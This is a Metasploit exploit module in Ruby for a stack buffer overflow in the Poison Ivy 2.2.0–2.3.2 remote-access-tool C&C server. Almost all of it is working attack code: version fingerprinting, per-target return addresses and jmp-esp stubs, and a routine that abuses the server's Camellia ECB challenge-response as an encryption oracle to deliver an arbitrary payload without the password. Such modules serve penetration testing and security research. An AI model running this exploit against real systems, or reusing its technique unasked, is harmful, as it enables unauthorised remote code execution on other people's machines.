187 lines
6.5 KiB
Ruby
187 lines
6.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Poison Ivy Server Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in the Poison Ivy 2.2.0 to 2.3.2 C&C server.
|
|
The exploit does not need to know the password chosen for the bot/server communication.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Andrzej Dereszowski', # Vulnerability Discovery
|
|
'Gal Badishi', # Exploit and Metasploit module
|
|
'juan vazquez', # Testing and little of Metasploit-fu
|
|
'Jos Wetzels' # Added support for Poison Ivy 2.2.0 to 2.3.1, removed need for brute forcing by (ab)using C&C challenge-response as encryption oracle
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '83774' ],
|
|
[ 'EDB', '19613' ],
|
|
[ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],
|
|
[ 'URL', 'http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/' ],
|
|
],
|
|
'DisclosureDate' => 'Jun 24 2012',
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'StackAdjustment' => -4000,
|
|
'Space' => 10000
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1',
|
|
{
|
|
'Ret' => 0x00425E5D, # jmp esp from "Poison Ivy 2.2.0.exe"
|
|
'RWAddress' => 0x00401000,
|
|
'Offset' => 0x8069,
|
|
'PayloadOffset' => 0x75,
|
|
'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
|
|
}
|
|
],
|
|
|
|
[
|
|
'Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1',
|
|
{
|
|
'Ret' => 0x00442749, # jmp esp from "Poison Ivy 2.3.0.exe"
|
|
'RWAddress' => 0x00401000,
|
|
'Offset' => 0x8069,
|
|
'PayloadOffset' => 0x75,
|
|
'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
|
|
}
|
|
],
|
|
|
|
[
|
|
'Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1',
|
|
{
|
|
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.1.exe" and "Poison Ivy 2.3.2.exe"
|
|
'RWAddress' => 0x00401000,
|
|
'Offset' => 0x806D,
|
|
'PayloadOffset' => 0x75,
|
|
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 2
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(3460)
|
|
])
|
|
|
|
end
|
|
|
|
def check
|
|
# camellia block size
|
|
block_size = 16
|
|
# number of blocks in challenge
|
|
block_count = 16
|
|
challenge = ("\x00" * block_size * block_count)
|
|
|
|
indicator = {}
|
|
# 0x0000113e as first 4 bytes on PI 2.1.0
|
|
indicator[[0x0000113e].pack('V')] = '2.1.0'
|
|
# 0x00001212 as first 4 bytes on PI 2.1.1
|
|
indicator[[0x00001212].pack('V')] = '2.1.1'
|
|
# 0x000013f6 as first 4 bytes on PI 2.1.2
|
|
indicator[[0x000013f6].pack('V')] = '2.1.2'
|
|
|
|
# 0x000013e0 as 4 bytes after challenge on PI 2.2.0
|
|
indicator[[0x000013e0].pack('V')] = '2.2.0'
|
|
# 0x00001470 as 4 bytes after challenge on PI 2.3.0
|
|
indicator[[0x00001470].pack('V')] = '2.3.0'
|
|
# 0x000015D0 as 4 bytes after challenge on PI 2.3.1/2.3.2
|
|
indicator[[0x000015D0].pack('V')] = '2.3.1/2.3.2'
|
|
|
|
connect
|
|
sock.put(challenge)
|
|
response = sock.get_once(256)
|
|
|
|
if response && response.length == 256
|
|
# Poison Ivy >= 2.2.0 Challenge Response uses Camellia in ECB mode which means identical plaintext blocks
|
|
# map to identical ciphertext blocks. A challenge composed of identical blocks will thus result in a response of identical blocks.
|
|
first_block = response[0, 16]
|
|
(1..15).each do |index|
|
|
unless response[index * 16, 16] == first_block
|
|
vprint_status("Response doesn't match Poison Ivy Challenge-Response format.")
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
response = sock.get_once(4)
|
|
end
|
|
|
|
disconnect
|
|
|
|
if response && response.length == 4
|
|
disconnect
|
|
if indicator.key?(response)
|
|
version = indicator[response]
|
|
vprint_status("Poison Ivy C&C version #{version} detected.")
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
end
|
|
|
|
vprint_status("Response doesn't match Poison Ivy Challenge-Response protocol.")
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
# Handshake
|
|
connect
|
|
print_status('Performing handshake...')
|
|
|
|
# plaintext header
|
|
plaintext_header = "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xbb\x00\x00\x00\xc2\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
# crafted challenge (first 32 bytes is our plaintext header), abuse challenge-response as encryption oracle
|
|
challenge = plaintext_header + ("\x00" * (256 - 32))
|
|
sock.put(challenge)
|
|
# response = encrypt(challenge, key)
|
|
response = sock.get_once
|
|
|
|
# since encryption is done using Camellia in ECB mode, we can cut and paste the first 32 bytes (our header inside the crafted challenge) without knowing the key
|
|
encrypted_header = response[0, 32]
|
|
|
|
# Don't change the nulls, or it might not work
|
|
xploit = ''
|
|
xploit << encrypted_header
|
|
xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
|
|
xploit << payload.encoded
|
|
xploit << "\x00" * (target['Offset'] - xploit.length)
|
|
xploit << [target.ret].pack('V') # ret to a jmp esp opcode
|
|
xploit << [target['RWAddress']].pack('V') # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
|
|
xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back)
|
|
|
|
# The disconnection triggers the exploit
|
|
print_status('Sending exploit...')
|
|
sock.put(xploit)
|
|
select(nil,nil,nil,5)
|
|
disconnect
|
|
end
|
|
end
|
|
|
|
=begin
|
|
|
|
* ROP version of exploit(): Has been discarded at the moment because of two reasons:
|
|
|
|
(1) Poison Ivy fails to run on DEP enabled systems (maybe due to the unpacking process)
|
|
(2) When trying a unpacked version on DEP enabled systems windows/exec payload runs, but not meterpreter
|
|
|
|
=end
|